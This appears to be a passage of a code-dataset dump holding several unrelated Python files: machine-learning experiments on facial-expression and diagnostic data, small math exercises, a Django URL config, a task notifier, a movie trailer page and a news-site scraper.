features, hog_img = hog(img, orientations=orientations, pixels_per_cell=pixels_per_cell, cells_per_block=cells_per_block, visualize=True)\n # Uncomment the following tow lines to visualize HOG\n #cv2.imshow('hog', hog_img)\n #cv2.waitKey(0)\n count += 1\n print(\"Loading: {:d}%\".format(int(count / 50 * 100)))\n return features.reshape(1, -1)\n\n else:\n return None\n\n\n\n\nif __name__ == \"__main__\":\n\n\n \"***Feature Extraction***\"\n \n def return_dataset(bin_size,cell_size):\n '''\n\n Parameters\n ----------\n bin_size : int\n num of orientation\n cell_size : int\n num pixels per size\n\n Returns\n -------\n dataset dictionary keyed by subject name\n\n '''\n # Dictionary whose is \n dataset = dict() \n path = './images'\n \n # Get all the folder of individuad subject\n for subject in os.listdir(path):\n if subject[0] == '.':\n continue\n print(subject)\n count = 0\n emotion_dirs = os.listdir(path + '/%s' %subject)\n feature_matrix = None\n labels = None\n \n for emotion_dir in emotion_dirs:\n if emotion_dir[0] == '.':\n continue\n # Get the index associated with the emotion\n emotion_label = emotion_labels[emotion_dir]\n\n for f in os.listdir(path + '/%s/%s' %(subject, emotion_dir)):\n img = cv2.imread(path + '/%s/%s/' %(subject, emotion_dir) + f)\n # Uncomment the following two lines to visualize the raw images\n # cv2.imshow(\"raw img\", img)\n # cv2.waitKey(0)\n\n # Extract HOG features \n features = feature_extraction(img, orientations=bin_size, pixels_per_cell=(cell_size, cell_size), cells_per_block=(1, 1))\n\n if features is not None:\n feature_matrix = features if feature_matrix is None else np.append(feature_matrix, features, axis=0)\n labels = np.array([emotion_label]) if labels is None else np.append(labels, np.array([emotion_label]), axis=0)\n \n dataset[subject] = (feature_matrix, labels)\n return dataset\n \n \"***Person-dependent Model***\"\n dataset = return_dataset(10, 16)\n X, y = dataset[NetID]\n\n # TODO: Use the HOG descriptors to classify different emotions (facial expressions).\n # Here, X is the matrix of HOG descriptors with number of rows equal to the number of images.\n # y is a vector of emotion labels whose length is equal to the number of images.\n skfold= StratifiedKFold(n_splits=5,shuffle=True,random_state=42)\n #svc = SVC(kernel='rbf') #Important params: C is default set to 1.0, gamma is scaled automatically \n rf = RandomForestClassifier(n_estimators=101,random_state=42)\n all_pred_labels = []\n all_test_labels = []\n for train_idx, test_idx in skfold.split(X,y):\n train_feat, train_labels = X[train_idx,:], y[train_idx]\n test_feat, test_labels = X[test_idx,:], y[test_idx]\n #fit the classifier\n #svc.fit(train_feat,train_labels)\n rf.fit(train_feat,train_labels)\n pred_labels = rf.predict(test_feat)\n #add the predicted and true labels for analysis\n all_pred_labels.append(pred_labels)\n all_test_labels.append(test_labels)\n all_pred_labels_np = np.concatenate(all_pred_labels)\n all_test_labels_np = np.concatenate(all_test_labels)\n #compute overall and per-class accurracy/precision/recall\n #overall metrics\n accu_overall = accuracy_score(all_test_labels_np,all_pred_labels_np) \n prec_overall = precision_score(all_test_labels_np, all_pred_labels_np,average='weighted')\n rec_overall = recall_score(all_test_labels_np, all_pred_labels_np,average='weighted')\n #per class\n prec_perclass = precision_score(all_test_labels_np,all_pred_labels_np,average=None)\n rec_perclass = recall_score(all_test_labels_np,all_pred_labels_np,average=None)\n\n \"***Person-independent Models***\"\n # TODO: Use the model trained on your data to predict another person's emotion.\n #retrain the model on the full training data from my images\n \n rf.fit(X,y)\n #obtain a test subject\n test_subject = 'P1'\n X_test, y_test = dataset[test_subject]\n #X_debug, y_debug = dataset['P1']\n #svc.fit(X_debug, y_debug)\n pred_test = rf.predict(X_test)\n \n #compute confusion matrix, accuracy, and precision/recall per class\n accu_overall_indep = accuracy_score(y,pred_test) \n print('Print: {0}'.format(accu_overall_indep))\n prec_overall_indep = precision_score(y,pred_test,average='weighted')\n rec_overall_indep = recall_score(y,pred_test,average='weighted')\n confu_mat_indep = confusion_matrix(y,pred_test)\n #per class\n prec_perclass_indep = precision_score(y,pred_test,average=None)\n rec_perclass_indep = recall_score(y,pred_test,average=None)\n #save the confusion matrix\n confu_mat_indep_pd = pd.DataFrame(confu_mat_indep)\n confu_mat_indep_pd.index = ['Neutral','Anger','Surprise','Sadness','Happy']\n confu_mat_indep_pd.columns = ['Neutral','Anger','Surprise','Sadness','Happy']\n confu_mat_indep_pd.to_excel('confu_mat_indep.xlsx')\n \n\n # TODO: Use leave-one-subject-out cross validation to evaluate the generalized (person-independent) models.\n # You will need to train a model on data from different sets of people and predict the remaining person's emotion.\n def return_accuracy_loso(dataset):\n all_subjects = ['P1','P2','P3','P4','P5','bl44']\n all_pred_loso = []\n all_test_loso = []\n for test_subject in all_subjects:\n X_test, Y_test = dataset[test_subject]\n X_train_, Y_train_ = [], []\n for each_train in list(set(all_subjects) - set([test_subject])):\n X_curr, Y_curr = dataset[each_train]\n X_train_.append(np.copy(X_curr))\n Y_train_.append(np.copy(Y_curr))\n X_train, Y_train = np.concatenate(X_train_), np.concatenate(Y_train_)\n #re-train the model\n rf.fit(X_train,Y_train)\n pred_test = rf.predict(X_test)\n all_pred_loso.append(pred_test)\n all_test_loso.append(Y_test)\n all_pred_loso_np = np.concatenate(all_pred_loso)\n all_test_loso_np = np.concatenate(all_test_loso)\n #compute confusion matrix, accuracy, and precision/recall per class\n accu_overall_loso = accuracy_score(all_test_loso_np,all_pred_loso_np) \n prec_overall_loso = precision_score(all_test_loso_np,all_pred_loso_np,average='weighted')\n rec_overall_loso = recall_score(all_test_loso_np,all_pred_loso_np,average='weighted')\n confu_mat_loso = confusion_matrix(all_test_loso_np,all_pred_loso_np)\n #per class\n prec_perclass_loso = precision_score(all_test_loso_np,all_pred_loso_np,average=None)\n rec_perclass_loso = recall_score(all_test_loso_np,all_pred_loso_np,average=None)\n return accu_overall_loso, prec_overall_loso, rec_overall_loso, prec_perclass_loso, rec_perclass_loso\n \n #compute for the default dataset\n accu_overall_loso, prec_overall_loso, rec_overall_loso, prec_perclass_loso, rec_perclass_loso = return_accuracy_loso(dataset)\n \n \n #effect of bin-size and cell-size on performance\n bin_sizes = [8,16,32,64]\n cell_sizes = [4,8,16,32,64]\n \n all_accu_results = []\n for bin_size in bin_sizes:\n for cell_size in cell_sizes:\n #retrieve dataset\n curr_dataset = return_dataset(bin_size,cell_size)\n #compute LOSO accuracy\n accu_loso, _,_,_,_ = return_accuracy_loso(curr_dataset.copy())\n all_accu_results.append({'bin_size':bin_size,'cell_size':cell_size,\n 'accuracy':accu_loso}.copy())\n all_accu_results_pd = pd.DataFrame(all_accu_results)\n \n \n #Person Identification, use neutral class to identify a person using random 5-fold cv\n subj_map = {'P1':0,'P2':1,'P3':2,'P4':3,'P5':4,'bl44':5}\n X_pi, Y_pi = [], []\n for each_subj in subj_map.keys():\n X_curr, Y_curr = dataset[each_subj]\n #only retain neutral class (class 0)\n X_retain = X_curr[np.where(Y_curr==0)[0],:]\n #labels are subjects\n Y_retain = subj_map[each_subj] * np.ones(X_retain.shape[0])\n X_pi.append(np.copy(X_retain))\n Y_pi.append(np.copy(Y_retain))\n X_pi_np = np.concatenate(X_pi)\n Y_pi_np = np.concatenate(Y_pi)\n assert(X_pi_np.shape[0] == Y_pi_np.shape[0])\n assert(X_pi_np.shape[0] == 60) #10 image per neutral class, 6 subjects\n \n all_pred_pi = []\n all_test_pi = []\n for train_idx, test_idx in skfold.split(X_pi_np,Y_pi_np):\n X_train_pi, Y_train_pi = X_pi_np[train_idx,:], Y_pi_np[train_idx]\n X_test_pi, Y_test_pi = X_pi_np[test_idx,:], Y_pi_np[test_idx]\n rf.fit(X_train_pi,Y_train_pi)\n pred_pi = rf.predict(X_test_pi)\n all_pred_pi.append(pred_pi)\n all_test_pi.append(Y_test_pi)\n all_pred_pi_np = np.concatenate(all_pred_pi)\n all_test_pi_np = np.concatenate(all_test_pi)\n \n #compute confusion matrix, accuracy, and precision/recall per class\n accu_overall_pi = accuracy_score(all_test_pi_np,all_pred_pi_np) \n prec_overall_pi = precision_score(all_test_pi_np,all_pred_pi_np,average='weighted')\n rec_overall_pi = recall_score(all_test_pi_np,all_pred_pi_np,average='weighted')\n confu_mat_pi = confusion_matrix(all_test_pi_np,all_pred_pi_np)\n #per class\n prec_perclass_pi = precision_score(all_test_pi_np,all_pred_pi_np,average=None)\n rec_perclass_pi = recall_score(all_test_pi_np,all_pred_pi_np,average=None)\n \n \n \n \n \n \n","sub_path":"emotion_recognition.py","file_name":"emotion_recognition.py","file_ext":"py","file_size_in_byte":12918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"449241785","text":"# Create function for dividing 2 integers\n# Parameters are 2 integer type\n# return a result in a list\n\ndef divider(x,y):\n '''\n param: Function expects 2 arguments\n return: returns list type of float\n\n >>> divider(4, y=0)\n Traceback (most recent call last):\n ...\n ValueError: Not allowed divide by 0\n \n >>> divider(4, 'b')\n Traceback (most recent call last):\n ...\n TypeError: Only integers allowed\n\n >>> divider(4,10)\n Traceback (most recent call last):\n ...\n ValueError: x is less than y\n\n '''\n\n \n if y == 0:\n raise ValueError(\"Not allowed divide by 0\")\n\n if x.__class__() != 0 or y.__class__() != 0 or x.__class__() != 0.0 or y.__class__() != 0.0:\n raise TypeError(\"Only integers allowed\")\n\n if x < y:\n raise ValueError(\"x is less than y\")\n \n \n \n\n \n return [x/y]\n#print(divider(10,15))\n","sub_path":"problem_solving/raise_error.py","file_name":"raise_error.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"441296517","text":"# four-square2.py 四平方定理(Lagrange's four-square theorem)\r\n# coding: utf-8\r\n# 大分類 四平方定理\r\n# 中分類 数学\r\n# 小分類 四平方定理の解を求める\r\n# 参考 転用元のfour-square.pyを連続範囲で動かせるように改造\r\n#\r\n# 特色 mathライブラリを使用。sqrt()\r\n\r\nfrom math import *\r\n\r\n# 判定用。4個の変数で与えられた整数で平方の解を求める\r\ndef verification(n1,n2,n3,n4):\r\n result_i = n1**2 + n2**2 + n3**2 + n4**2\r\n return result_i\r\n\r\n# 値の平方根を求め、さらに整数部分を返す\r\ndef square_n(n):\r\n result_s = int(sqrt(n))\r\n return result_s\r\n\r\ndef logic1(n):\r\n n1 = 0\r\n n2 = 0\r\n n3 = 0\r\n n4 = 0\r\n if n == 0:\r\n n1 = 0\r\n n2 = 0\r\n n3 = 0\r\n n4 = 0\r\n else:\r\n n1 = square_n(n) # 1個目の整数\r\n if n == verification(n1,n2,n3,n4):\r\n n2 = 0\r\n n3 = 0\r\n n4 = 0\r\n else:\r\n n2 = square_n(n - n1**2) # 2個目の整数\r\n if n == verification(n1,n2,n3,n4):\r\n n3 = 0\r\n n4 = 0\r\n else:\r\n n3 = square_n(n - n1**2 - n2**2) # 3個目の整数\r\n if n == verification(n1,n2,n3,n4):\r\n n4 = 0\r\n else:\r\n n4 = square_n(n - n1**2 - n2**2- n3**2) # 4個目の整数\r\n return n1,n2,n3,n4\r\n\r\n\r\n# Main 整数を入力し、四平方定理の解を出力する\r\ninputLine = input()\r\nNumberOfTimes = int(inputLine)\r\nfor n in range(NumberOfTimes):\r\n n1,n2,n3,n4 = logic1(n)\r\n # 求めた値のリストと検算結果の出力\r\n if n == verification(n1,n2,n3,n4):\r\n result = 'OK '\r\n else:\r\n result = 'NG! '\r\n print(result,'n=',n,'answer=',n1,n2,n3,n4)\r\n","sub_path":"four-square3.py","file_name":"four-square3.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"13663319","text":"from collections import namedtuple\nfrom visitatie.form import Form\nfrom visitatie.toetsen import (\n praktijk_toets,\n get_dossier_toets,\n get_meetinstrumenten,\n get_startback_gpe,\n)\nfrom visitatie.get_patients import get_data_from_all_patients\n\n\ndef get_color(form: Form):\n form.praktijktoets = praktijk_toets(form)\n get_data_from_all_patients(form)\n excecute_tasks(\n form,\n [\n praktijk_toets,\n get_dossier_toets,\n get_meetinstrumenten,\n get_startback_gpe,\n get_form_color,\n ],\n )\n return form.toetsen[\"Catagorie\"]\n\n\ndef excecute_tasks(form: Form, tasks: list):\n for task in tasks:\n form.add_toets(task(form))\n\n\nclass Color(object):\n def __init__(self, score, fout: list):\n color = {0: \"Rood\", 1: \"Oranje\", 2: \"Groen\", 3: \"Groen\"}\n self.score = score\n self.i = max([0, score])\n self.color = color[self.i]\n self.fout = fout\n\n def __str__(self):\n return self.color\n\n\ntoets_norms = {\n \"dossier_per_therapeut\": 2,\n \"Praktijktoets\": 0.7,\n \"Dossiertoets\": 0.7,\n \"twee_meetinstrumenten\": 1,\n \"STarTBack\": 1,\n \"GPE\": 1,\n}\n\n\ndef get_form_color(form: Form):\n return calc_color(form.toetsen)\n\n\ndef calc_color(toetsen: dict):\n score = 3\n fout = []\n for key, toets_norm in toets_norms.items():\n if toetsen[key] < toets_norm:\n score -= 1\n fout.append(key)\n\n if toetsen[\"dossier_per_therapeut\"] < toets_norms[\"dossier_per_therapeut\"]:\n score -= 2\n c = Color(score, fout)\n return {\"Catagorie\": str(c), \"_color\": c, \"Score\": score}\n","sub_path":"visitatie/get_colour.py","file_name":"get_colour.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"217704156","text":"\"\"\"\r\nReading an image in opencv using python\r\n To read the images cv2.imread() method is used. This method loads an image\r\n from the specified file.\r\n Note : The method should be in the working directory or a full path of image\r\n should be given.\r\n\"\"\"\r\n\r\nimport cv2\r\n\r\n# To read image from disk\r\npath = r\"../images/1.jpeg\"\r\n\r\n# img = cv2.imread(path, cv2.IMREAD_COLOR)\r\n# or\r\n# img = cv2.imread(path, 1)\r\n\r\n# Using 0 to read image in grayscale mode\r\n# img = cv2.imread(path, cv2.IMREAD_GRAYSCALE)\r\n# or\r\n# img = cv2.imread(path, 0)\r\n\r\n# Using 0 to read image in LOAD mode\r\n# img = cv2.imread(path, cv2. IMREAD_LOAD_GDAL)\r\n# OR\r\nimg = cv2.imread(path, -1)\r\n\r\n# Create GUI window to display an image on screen\r\ncv2.imshow(\"image\", img)\r\n\r\n# To hold the window on screen, we use cv2.waithKey method\r\ncv2.waitKey(0)\r\n\r\n# It is for removing/deleting created GUI window from screen\r\ncv2.destroyAllWindows()","sub_path":"Working with images getting start/Reading_an_image_in_OpenCV_using_Python.py","file_name":"Reading_an_image_in_OpenCV_using_Python.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"649095919","text":"from django.urls import path\n\nfrom . import views\n\n\n# app_name = 'questions'\n# urlpatterns = [\n# path('', views.IndexView.as_view(), name='index'),\n# path('/', views.DetailView.as_view(), name='detail'),\n# path('/results/', views.ResultsView.as_view(), name='results'),\n# path('/vote/', views.vote, name='vote'),\n# ]\n\n\n# API Endpoint\nurlpatterns = [\n path('', views.ListTodo.as_view()),\n path('choice', views.ListTodo2.as_view()),\n path('/', views.DetailTodo.as_view()),\n path('combo', views.TextAPIView.as_view())\n]\n\n","sub_path":"mysite/questions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"286254022","text":"from threading import Thread, Event\nfrom datetime import datetime, timedelta\nfrom typing import Final\nfrom notifypy import Notify\nfrom database import DB\n\n\nclass TaskFilter:\n\t\"\"\"Filters tasks for notification.\"\"\"\n\tdef __init__(self, sleep_time: int):\n\t\tself.sleep_time: Final[int] = sleep_time\n\n\tdef __call__(self, task) -> bool:\n\t\tif task.notification == 0:\n\t\t\treturn False\n\t\ttime_diff = task.scheduled_date - datetime.now()\n\t\tupper_bound = timedelta(seconds=60 * task.notification)\n\t\tlower_bound = timedelta(\n\t\t seconds=60 * task.notification - self.sleep_time * 1.5\n\t\t)\n\t\treturn upper_bound >= time_diff >= lower_bound\n\n\nclass Notifier:\n\t\"\"\"Checks tasks in database and sends notification when needed.\"\"\"\n\tSLEEP_TIME: Final[int] = 10\n\n\tdef __init__(self, db: DB, notification_title: str):\n\t\tself._db = db\n\t\tself._cancel_event = Event()\n\t\tself._thread = Thread(target=self._notification_loop)\n\t\tself._filter = TaskFilter(self.SLEEP_TIME)\n\t\tself._notification = Notify()\n\t\tself._notification.title = notification_title\n\n\tdef __del__(self):\n\t\tself.stop()\n\n\tdef start(self):\n\t\t\"\"\"Starts notifying thread.\"\"\"\n\t\tself._cancel_event.clear()\n\t\tself._thread.start()\n\n\tdef stop(self):\n\t\t\"\"\"Stops notifying thread.\"\"\"\n\t\tself._cancel_event.set()\n\t\tif self._thread.is_alive():\n\t\t\tself._thread.join()\n\n\tdef retranslate(self, notification_title: str):\n\t\t\"\"\"Changes notification title.\"\"\"\n\t\tself._notification.title = notification_title\n\n\tdef _notification_loop(self):\n\t\twhile not self._cancel_event.is_set():\n\t\t\ttasks = self._db.get_tasks(datetime.now().date())\n\t\t\ttasks = (task for task in tasks if self._filter(task))\n\t\t\tfor task in tasks:\n\t\t\t\tself._notification.message = task.summary\n\t\t\t\tself._notification.send()\n\t\t\tself._cancel_event.wait(self.SLEEP_TIME)","sub_path":"notifier.py","file_name":"notifier.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"450843907","text":"import numpy as np\n\n \ndef subset(arr,n):\n\txarr = []\n\tfor i in range(n):\n\t\txarr.append(arr[i])\n\twhile xarr[0] == 0 :\n\t\txarr.pop(0)\n\tx=len(xarr)\n\twhile xarr[x-1]==0:\n\t\txarr.pop(x-1)\n\t\tx = len(xarr)\n\treturn xarr\n\n\ndef check_palindrome_with_1_in_middle(zarr,n):\n\tx=0\n\ty=0\n\t\n\n\tif n%2==1:\n\t\tmid = int((n-1)/2)\n\t\tfor i in range(n):\n\t\t\tif zarr[i]==zarr[n-1-i] and zarr[mid]==1:\n\t\t\t\tif i==n-1:\n\t\t\t\t\treturn bool(123)\n\t\t\telse: \n\t\t\t\treturn bool(False)\n\telif n%2==0:\n\t\tmid = int(n/2)\n\t\tdarr=[]\n\t\tfor i in range(n):\n\t\t\tif i!=mid and i!=mid-1:\n\t\t\t\tdarr.append(zarr[i])\n\t\tfor i in range(len(darr)):\n\t\t\tif darr[i] == darr[len(darr)-1-i]:\n\t\t\t\tif zarr[mid]==1 or zarr[mid-1] == 1:\n\t\t\t\t\tif i==len(darr)-1:\n\t\t\t\t\t\treturn bool(123)\n\n\t\t\telse: \n\t\t\t\treturn bool(False)\ndef minswaps(arr,n):\n\tyarr=[]\n\tfor i in range(n):\n\t\tyarr.append(arr[i])\n\n\t \n\t\n\tif check_palindrome_with_1_in_middle(yarr,n):\n\t\tcount0=0\n\t\tcount1=[]\n\t\tscore1=0\n\t\tif n%2:\n\t\t\tfor i in range(n):\n\t\t\t\tif yarr[i]==1:\n\t\t\t\t\tcount1.append(count0)\n\t\t\t\telif yarr[i]==0:\n\t\t\t\t\tcount0+=1\n\t\t\tfor j in range(len(count1)):\n\t\t\t\tscore1+=count1[j]\n\t\t\tmid=int((len(count1)-1)/2)\n\t\t\tscore1=score1-count1[mid]\n\t\t\tprint(\"checkpalindrome odd\")\n\t\t\treturn score1\n\t\telse:\n\t\t\tfor i in range(n):\n\t\t\t\tif yarr[i]==1:\n\t\t\t\t\tcount1.append(count0)\n\t\t\t\telif yarr[i]==0:\n\t\t\t\t\tcount0+=1\n\t\t\tfor j in range(len(count1)):\n\t\t\t\tscore1+=count1[j]\n\t\t\tmid1=int(len(count1)/2)\n\t\t\tmid2 = mid1-1\n\t\t\tmid = int(n/2)\n\t\t\tif yarr[mid]==1 and yarr[mid-1]==0:\n\t\t\t\tscore1=score1-count1[mid1]\n\t\t\t\tprint(\"checkpalindrome even 0 1\")\n\t\t\telif yarr[mid]==0 and yarr[mid-1]==1:\n\t\t\t\tscore1=score1-count1[mid1]\n\t\t\t\tprint(\"checkpalindrome even 1 0\")\n\t\t\telif yarr[mid]==1 and yarr[mid-1]==1:\n\t\t\t\tscore1=score1-count1[mid1]-count1[mid2]\n\t\t\t\tprint(\"checkpalindrome even 1 1\")\n\t\t\treturn score1\n\t\t\t\n\telse:\n\t\tcount0LtR=0\n\t\tcount0RtL=0\n\t\tcount1LtR=[]\n\t\tcount1RtL=[]\n\t\tfor i in range(n):\n\t\t\tif yarr[i]==1:\n\t\t\t\tcount1LtR.append(count0LtR)\n\t\t\telif yarr[i]==0:\n\t\t\t\tcount0LtR+=1\n\t\tfor j in range(n):\n\t\t\tif yarr[n-1-j]==1:\n\t\t\t\tcount1RtL.append(count0RtL)\n\t\t\telif yarr[n-1-j]==0:\n\t\t\t\tcount0RtL+=1\n\t\tscoreLtR=0\n\t\tscoreRtL=0\n\t\tfor k in range(len(count1LtR)):\n\t\t\tscoreLtR+=count1LtR[k]\n\t\t\tscoreRtL+=count1RtL[k]\n\t\tif scoreLtR <= scoreRtL:\n\t\t\tprint(\"asymmetric LTR\")\n\t\t\treturn scoreLtR\n\t\telse :\n\t\t\tprint(\"asymmetric RTL\")\n\t\t\treturn scoreRtL\n\t\t\t\nn=int(input())\ninputlist = list(map(int,input().strip().split()))\narr = np.array(inputlist)\n\n\n\nprint (subset(arr,n))\nprint(minswaps(subset(arr,n),len(subset(arr,n))))\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\n","sub_path":"B1_1.py","file_name":"B1_1.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"542332654","text":"import media\r\nimport fresh_tomatoes\r\n\"\"\"Submit values for Toy Story Movie\"\"\"\r\ntoy_story = media.Movie(\r\n \"Toy Story 2\",\r\n \"Toys Come to Life\",\r\n \"https://upload.wikimedia.org/wikipedia/en/c/c0/Toy_Story_2.jpg\",\r\n \"https://www.youtube.com/watch?v=Lu0sotERXhI\")\r\n\"\"\"Submit values for Avatar movie\"\"\"\r\navatar = media.Movie(\r\n \"Avatar\",\r\n \"A marine on an alien planet\",\r\n \"https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg\",\r\n \"https: // www.youtube.com/watch?v=5PSNL1qE6VY\")\r\n\"\"\"Submit values for School of Rock Movie\"\"\"\r\nschool_of_rock = media.Movie(\r\n \"School of Rock\",\r\n \"Story of a rock band\",\r\n \"https://upload.wikimedia.org/wikipedia/en/1/11/School_of_Rock_Poster.jpg\",\r\n \"https://youtu.be/5afGGGsxvEA\")\r\n\"\"\"Submit values for Ratatouille Movie\"\"\"\r\nratatouille = media.Movie(\r\n \"Ratatouille\",\r\n \"Movie of a mouse\",\r\n \"https://upload.wikimedia.org/wikipedia/en/5/50/RatatouillePoster.jpg\",\r\n \"https://youtu.be/fIjHfW6y4Mg\")\r\n\r\nmovies = [toy_story, avatar, school_of_rock, ratatouille]\r\nfresh_tomatoes.open_movies_page(movies)\r\n","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"169473673","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import (GridSearchCV, cross_val_score,\n train_test_split)\nfrom sklearn.preprocessing import (\n LabelBinarizer, LabelEncoder, OneHotEncoder, StandardScaler)\nfrom sklearn.svm import SVC\n# %%\ndfForTraining = pd.read_csv('./Dataframes/FewerFeatures.csv').iloc[:, 1:]\n# %% Train and test set\ny = dfForTraining.loc[:, ['diagnostic']].values\ndfForTraining.pop('diagnostic')\nX = dfForTraining.iloc[:, :].values\n# %% Encode the marker name\nle = LabelEncoder()\nX[:, -5] = le.fit_transform(X[:, -5])\noh = OneHotEncoder(categorical_features=[-5])\nX = oh.fit_transform(X).toarray()\n# %% Binarize 'P' and 'N' to 1 and 0\nlb = LabelBinarizer()\ny = lb.fit_transform(y).ravel()\n# %% Split data\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.20)\n# %% Feature Scaling\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.fit_transform(X_test)\n# %%\nclassifier = SVC(kernel='rbf', C=210, gamma=.4488888888888889)\nclassifier.fit(X_train, y_train)\n# %%\ny_pred = classifier.predict(X_test)\ncm = confusion_matrix(y_test, y_pred)\nprint(cm)\ntrue_positives = cm[0, 0]\nfalse_positives = cm[1, 0]\ntrue_negatives = cm[1, 1]\nfalse_negatives = cm[0, 1]\nsensitivity = true_positives/(true_positives+false_negatives)\nspecificity = true_negatives/(true_negatives+false_positives)\naccuracy = (true_negatives + true_positives)/473\nprint(f'''Sensitivity (How good am I at detecting positives): {sensitivity}''')\nprint(f'''Specificity (How good am I at avoiding false alarms): {specificity}''')\nprint(f'''Accuracy (Ratio of correct and total preds): {accuracy}''')\n# %% Kfold validation\naccuracies = cross_val_score(\n estimator=classifier, X=X_train, y=y_train, cv=10, n_jobs=-1)\nacc_mean = accuracies.mean()\nacc_std = accuracies.std()\nprint(f'Accuracy of model mean: {acc_mean}')\nprint(f'Accuracy of model std: {acc_std}')\n# %% Grid search\nC = np.linspace(100, 1000, 10)\nC = [int(Ci) for Ci in C]\ngamma = np.linspace(.02, 1, 4)\nparameters = [\n {\n 'C': C,\n 'kernel': ['rbf'],\n 'gamma': gamma\n }]\ngridSearch = GridSearchCV(\n estimator=classifier, param_grid=parameters, scoring='accuracy', cv=10, n_jobs=-1)\ngridSearch = gridSearch.fit(X_train, y_train.ravel())\n# Testing grid search\nbestAccuracy = gridSearch.best_score_\nbestEstimator = gridSearch.best_estimator_\nbestParams = gridSearch.best_params_\nprint(f'Best accuracy: {bestAccuracy}')\n#print(f'Best estimator: {bestEstimator}')\nprint(f'Best parameters: {bestParams}')\n","sub_path":"ML algorithms/SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"551387187","text":"import requests\nfrom lxml import etree\nimport re\nfrom api.damsapi import DamsApi\nfrom spiders.basespider import Spider\n\n# 作者:文振乾\n# 时间:2018-12-6\n# 用途:爬取求是周报\n\nclass Qiushi1(Spider):\n\n newspaperlibraryid = \"1045860779791745024\"\n message = [] #保存爬取下来的所有数据\n\n def geturl(self,url):\n header = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36\",\n \"Upgrade-Insecure-Requests\": \"1\"\n }\n response = requests.get(url=url, headers=header)\n result = response.content.decode(\"utf-8\")\n html = etree.HTML(result)\n urls = html.xpath('//div[@class=\"row\"]//div[@class=\"booktitle\"]/a/@href')[0]\n\n header1 = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36\",\n \"Referer\": url\n }\n i = 0\n while i<5:\n try:\n response1 = requests.get(url=urls, headers=header1)\n break\n except:\n i +=1\n result1 = response1.content.decode(\"utf-8\")\n # print(result1)\n\n html1 = etree.HTML(result1)\n urls1 = html1.xpath('//div[@class=\"content\"]//p//a/@href')[-2]\n page = \"\"\n header2 = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36\",\n \"Referer\" : urls\n }\n try:\n response2 = requests.get(url=urls1,headers=header2)\n except:\n response2 = requests.get(url=urls1,headers=header2)\n result2 = response2.content.decode(\"utf-8\")\n # print(result2)\n html2 = etree.HTML(result2)\n block = html2.xpath('//div[@class=\"highlight\"]/p')\n newsurl = {'':[]}\n Channel_list = ['']\n Channel = ''\n for i in block:\n try:\n Channel = i.xpath('font[@face=\"微软雅黑\"]//text()')[0].replace(\"\\u3000\",\" \")\n newsurl[Channel] = []\n Channel_list.append(Channel)\n except:\n if i.xpath('a/@href'):\n newsurl[Channel].append(i.xpath('a/@href')[0])\n elif i.xpath('strong/a/@href'):\n newsurl[Channel].append(i.xpath('strong/a/@href')[0])\n time = html2.xpath('//div[@class=\"inner\"]//span[@class=\"pubtime\"]/text()')[0]\n publishedtime = \"-\".join(re.findall(\"[0-9]{2,4}\",time)[:3])\n # del newsurl[-1]\n # print(newsurl)\n return [newsurl,page,publishedtime,Channel_list]\n\n #解析页面\n def parsepage(self,newsurl,page,Channel_list):\n # print(\"开���解析\")\n header = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36\"\n }\n newsurl[Channel_list[-1]].pop(-1) #删掉最后一个\"查看往期\"的url\n a = 0\n for Channel in Channel_list:\n for url in newsurl[Channel]:\n # time.sleep(2)\n i = 0\n while i<10:\n try:\n response = requests.get(url=url,headers=header)\n break\n except:\n i +=1\n result = response.content.decode(\"utf-8\")\n html = etree.HTML(result)\n img = \"\"\n image = []\n try: # 有的有图片 有的没图片 图片url要拼接\n imgs = url.split(\"/\")\n imgs.pop(-1)\n imgurl = \"/\".join(imgs)\n img = html.xpath('//div[@class=\"content\"]//div[@class=\"highlight\"]//p//img//@src')\n if len(img) >= 1:\n for x in img:\n image.append(imgurl + \"/\" + x)\n except:\n pass\n finally:\n title = \"\".join(html.xpath('//div[@class=\"row\"]//div[@class=\"inner\"]//h1/text()')).strip()\n author = (html.xpath('//div[@class=\"row\"]//span[@class=\"appellation\"]//text()')[-1].replace(\"\\u3000\",\" 